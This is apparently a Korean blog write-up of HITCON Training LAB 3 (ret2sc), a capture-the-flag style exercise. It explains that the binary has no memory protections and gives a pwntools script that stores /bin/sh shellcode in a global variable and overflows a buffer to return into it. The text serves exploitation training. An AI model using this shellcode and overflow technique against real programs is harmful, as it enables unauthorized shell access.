Hitcon Training
LAB 3
Rasser
2021. 7. 25. 18:37
Mitigation

소스코드

보호기법이 전부 걸려있지 않으니, 프로그램을 실행해도 메모리의 주소는 변함이 없을것이다.
따라서 전역변수 name에 쉘코드를 넣어두고 bof를 통해서 ret에 name의 주소를 주면 쉘코드가 실행될 것이다.
Exploit
from pwn import *
#context.log_level = 'debug'
p = process('./ret2sc')
e = ELF('./ret2sc')
name = 0x804a060
shellcode = "\x90"*5+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
p.sendlineafter('Name:', shellcode)
p.sendlineafter('best:', "A"*0x20+p32(name))
p.interactive()